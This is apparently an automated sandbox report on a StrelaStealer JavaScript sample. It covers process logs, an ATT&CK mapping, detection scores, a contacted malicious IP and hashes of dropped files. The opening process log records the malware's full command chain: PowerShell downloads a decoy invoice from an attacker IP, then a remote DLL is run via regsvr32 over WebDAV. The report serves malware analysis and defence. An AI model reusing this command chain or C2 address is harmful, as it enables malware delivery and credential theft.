Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24755260942519232167.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
24755260942519232167.js	13%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/yT	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.19	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2190436670.000002762BB20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/G	net.exe, 00000007.00000002.2189115442.000002547990B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2189115442.000002547990B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189115442.00000254798D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189115442.000002547992A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/yT	net.exe, 00000007.00000002.2189115442.00000254798D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588816
Start date and time:	2025-01-11 05:53:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24755260942519232167.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 84.201.210.19, 23.209.209.135, 2.16.168.105, 2.16.168.107, 2.23.197.184, 2.22.242.11, 2.22.242.123, 13.107.246.45, 4.245.163.56, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:53:57	API Interceptor	23x Sleep call for process: powershell.exe modified
23:54:01	API Interceptor	1x Sleep call for process: net.exe modified
23:54:01	API Interceptor	2x Sleep call for process: svchost.exe modified
23:54:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
bg.microsoft.map.fastly.net	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263010494805552
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH09:9JZj5MiKNnNhoxuU
MD5:	5B50212BDDC786EA39D8D0D9CD0A2602
SHA1:	85CF48F69A9A5D5A53F8090A3A7C0124FCAEEED5
SHA-256:	F33EA6FA2FA4A03AE0C3BFF02BE9D144DBCA2A28592C958A7A3C041761C87719
SHA-512:	CB3C8725954AE5B40582EF0FE5E3B5E321E353A716B03BD1B6E628A0364C1D4DE077C81CDBA3D4CAEECB108A62626269A01C78DC941FBDDEF717E82B7E46CBCA
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x9dcbb9ef, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555540653259856
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	199525153019999D40DD0BBC586FF009
SHA1:	723D0F2FEF2FB58FDF7268BCC7A6B06A4060E141
SHA-256:	6E95109B2E5A905DB19EC7D4510D8F446C9B33580713FB96A9D192590EFF3D86
SHA-512:	56D126AFD3A97DCD66A11EE0C0A540C2741AB3C96AA96492AD7E70479A9893D8BD22E86889033C0986DD0720E1EEE1B84D5905F6B20BD711E00ADC9F2C2FBEC2
Malicious:	false
Preview:	...... .......7.......X\...;...{......................0.e......!...{?..6...}s.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................<...6...}.................`.{..6...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07938268976284857
Encrypted:	false
SSDEEP:	3:jyYeQyMrfNaAPaU1ltYukLXalluxmO+l/SNxOf:jyzeNDPaUaagmOH
MD5:	9B98D6FCD027BF458D8B5E251D67793A
SHA1:	89083189396752185BBDC3322B9D928ABDBC2750
SHA-256:	44A0742AAC2C48D4DEF6EB328BA4924E375915E2E35140DF75AFFFA376889B87
SHA-512:	F4F05E011A0299E9544ADD0876BF6F50D9D18389CA08DA5AEF1FC38F0E94E3EEB3CE8E9AC71AC53E2725E7B707937956874F17D122C6F9936B3D4BDD1208C3B8
Malicious:	false
Preview:	.........................................;...{...6...}...!...{?..........!...{?..!...{?..g...!...{?.................`.{..6...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.139340298530409
Encrypted:	false
SSDEEP:	6:iO4q9RiN+q2PN72nKuAl9OmbnIFUtSq9RBN2WZmwsq9RBN9VkwON72nKuAl9Omb5:7c+vVaHAahFUt6W/7V5OaHAaSJ
MD5:	E15B2653A0C0BDFCEAABF09AD9C504B5
SHA1:	743D6D2CC95C100A42E3A3DE753322EC7196DD3C
SHA-256:	C5E893D67BF23C19488AFD0412BEA7E71FE13216A562BFEC218727DFAA3B60F7
SHA-512:	DED32D43C6594F9522EC63AEF3367E8A765DEE58BC7020E718238690D60445F5FDFDB515B7F1945C46371F34C781091F834FEC0FF5C43E8FFCE0AB20C5EDE7C4
Malicious:	false
Preview:	2025/01/10-23:54:01.710 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:54:01.713 dcc Recovering log #3.2025/01/10-23:54:01.713 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.139340298530409
Encrypted:	false
SSDEEP:	6:iO4q9RiN+q2PN72nKuAl9OmbnIFUtSq9RBN2WZmwsq9RBN9VkwON72nKuAl9Omb5:7c+vVaHAahFUt6W/7V5OaHAaSJ
MD5:	E15B2653A0C0BDFCEAABF09AD9C504B5
SHA1:	743D6D2CC95C100A42E3A3DE753322EC7196DD3C
SHA-256:	C5E893D67BF23C19488AFD0412BEA7E71FE13216A562BFEC218727DFAA3B60F7
SHA-512:	DED32D43C6594F9522EC63AEF3367E8A765DEE58BC7020E718238690D60445F5FDFDB515B7F1945C46371F34C781091F834FEC0FF5C43E8FFCE0AB20C5EDE7C4
Malicious:	false
Preview:	2025/01/10-23:54:01.710 dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:54:01.713 dcc Recovering log #3.2025/01/10-23:54:01.713 dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160707733264181
Encrypted:	false
SSDEEP:	6:iO4q9RsN+q2PN72nKuAl9Ombzo2jMGIFUtSq9R1Zmwsq9RyNVkwON72nKuAl9OmT:7LvVaHAa8uFUtd/k5OaHAa8RJ
MD5:	8700FCCE22233EDF601C6A9652560806
SHA1:	1A9A83899AC2C82D7DB7D7723421FFAD17F1EA58
SHA-256:	2685B724742EDB3D4E763A4217034520BA407433FA7093C253C2AD00D21F043C
SHA-512:	9AA5A07DF09D062997633BF97AB4C38D95480193BE229FD92088F5D2D091A397658E42301C1C4981D3BC09BABC97C62137030F55692FDB0663AA95F4A65E65C6
Malicious:	false
Preview:	2025/01/10-23:54:01.815 1328 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:54:01.816 1328 Recovering log #3.2025/01/10-23:54:01.817 1328 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.160707733264181
Encrypted:	false
SSDEEP:	6:iO4q9RsN+q2PN72nKuAl9Ombzo2jMGIFUtSq9R1Zmwsq9RyNVkwON72nKuAl9OmT:7LvVaHAa8uFUtd/k5OaHAa8RJ
MD5:	8700FCCE22233EDF601C6A9652560806
SHA1:	1A9A83899AC2C82D7DB7D7723421FFAD17F1EA58
SHA-256:	2685B724742EDB3D4E763A4217034520BA407433FA7093C253C2AD00D21F043C
SHA-512:	9AA5A07DF09D062997633BF97AB4C38D95480193BE229FD92088F5D2D091A397658E42301C1C4981D3BC09BABC97C62137030F55692FDB0663AA95F4A65E65C6
Malicious:	false
Preview:	2025/01/10-23:54:01.815 1328 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:54:01.816 1328 Recovering log #3.2025/01/10-23:54:01.817 1328 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6+hsBdOg2HWZcaq3QYiubcP7E4T3y:Y2sRdsRddMHWg3QYhbA7nby
MD5:	B806AAD263BA859FDF6A957755C80145
SHA1:	9E78C3D76D6E5CD4DC11A6E3CD74A424BCE41961
SHA-256:	87F9F6C6E2A7AB7B82ABB0E5368C4CA840BC969936FE6F3C2C794A990B8C8D80
SHA-512:	2C8F201BA8CA2E48CF2EBB2C3E6A1CDF80FAC9D89F3C5896E48740EDD515254790948CB72C1C164EAC605A5EE98ABEDD1118E98929E606665A61F1DBE2AEE635
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131254275474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123758},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ca4fbfca-2661-4378-8c96-c747a327dc67.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6+hsBdOg2HWZcaq3QYiubcP7E4T3y:Y2sRdsRddMHWg3QYhbA7nby
MD5:	B806AAD263BA859FDF6A957755C80145
SHA1:	9E78C3D76D6E5CD4DC11A6E3CD74A424BCE41961
SHA-256:	87F9F6C6E2A7AB7B82ABB0E5368C4CA840BC969936FE6F3C2C794A990B8C8D80
SHA-512:	2C8F201BA8CA2E48CF2EBB2C3E6A1CDF80FAC9D89F3C5896E48740EDD515254790948CB72C1C164EAC605A5EE98ABEDD1118E98929E606665A61F1DBE2AEE635
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131254275474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123758},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2507899256330335
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7zyrwN:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhJ
MD5:	542485355261F5D947255D252EFF596A
SHA1:	E76A5E28F838201A71EA7A959A2286F0D9E48919
SHA-256:	E1BE704AFC08AF30CA2AC9F7BB450021865BBC3BF6F7BB093EC4E059AAABD3F2
SHA-512:	A2BE61602D5FCED92D2384C5AC23E6E198DC4CB12739F6724F9662F2DCC2AC490E97B28CC2118271B8D526D902AE64C3D493C5D7E08925305E3E970D56BD9B45
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.157488769227482
Encrypted:	false
SSDEEP:	6:iO4q9RvXN+q2PN72nKuAl9OmbzNMxIFUtSq9RtkZmwsq9RMVkwON72nKuAl9Ombg:7FIvVaHAa8jFUtVk/O5OaHAa84J
MD5:	0EAC0EF1E81F65323FA78B39D192E1D4
SHA1:	F26EF178A0125C72BEBBD7124A26B87081F33CAF
SHA-256:	339013A89D4122495CFB2A9F7F2DE2A53D78369D90058468CB7D5DA6B97EE022
SHA-512:	3EB21F08857AE4EBFAF66DAE722CFBA703C451302A7B3AA509ACA5A06E9D7483B41F96ABC3223605A8CC23D71235DB16F988C35ABD8F3E4BEC596527B8467919
Malicious:	false
Preview:	2025/01/10-23:54:01.980 1328 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:54:01.981 1328 Recovering log #3.2025/01/10-23:54:01.983 1328 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.157488769227482
Encrypted:	false
SSDEEP:	6:iO4q9RvXN+q2PN72nKuAl9OmbzNMxIFUtSq9RtkZmwsq9RMVkwON72nKuAl9Ombg:7FIvVaHAa8jFUtVk/O5OaHAa84J
MD5:	0EAC0EF1E81F65323FA78B39D192E1D4
SHA1:	F26EF178A0125C72BEBBD7124A26B87081F33CAF
SHA-256:	339013A89D4122495CFB2A9F7F2DE2A53D78369D90058468CB7D5DA6B97EE022
SHA-512:	3EB21F08857AE4EBFAF66DAE722CFBA703C451302A7B3AA509ACA5A06E9D7483B41F96ABC3223605A8CC23D71235DB16F988C35ABD8F3E4BEC596527B8467919
Malicious:	false
Preview:	2025/01/10-23:54:01.980 1328 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:54:01.981 1328 Recovering log #3.2025/01/10-23:54:01.983 1328 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444792634574225
Encrypted:	false
SSDEEP:	384:ye6ci5tpiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mKs3OazzU89UTTgUL
MD5:	83FCC1BE551A6CA7C4246BD179BECAFC
SHA1:	AC2631FC2E3D04BFBF8C37DED6D2759901A89E38
SHA-256:	BC6AD7EC199552D29934052982360BB7687EBF3E4AFD3455C5FA95C84B46B02F
SHA-512:	00EAC3A32DA7836FF73E561ACF09FE17A585C7D66ADCE0F78D0FFFD52A1FE14DDA47163B0C0036D4570D12A553709DC16B8F852619F1D7C04B5AEF23A51D5AA0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7695759112115366
Encrypted:	false
SSDEEP:	48:7MQJioyV0ioyeoy1C7oy16oy1GKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O7:7PJu0S5XjBiaUb9IVXEBodRBky
MD5:	F8A561D80C9AC2CF5031D09516796ABD
SHA1:	AC47C733AC24026D716E64362B9AAAC8989577F0
SHA-256:	3A169EAA26C133DF6C18493A800CCEE7530094D347CDE880A2C37DD895179D88
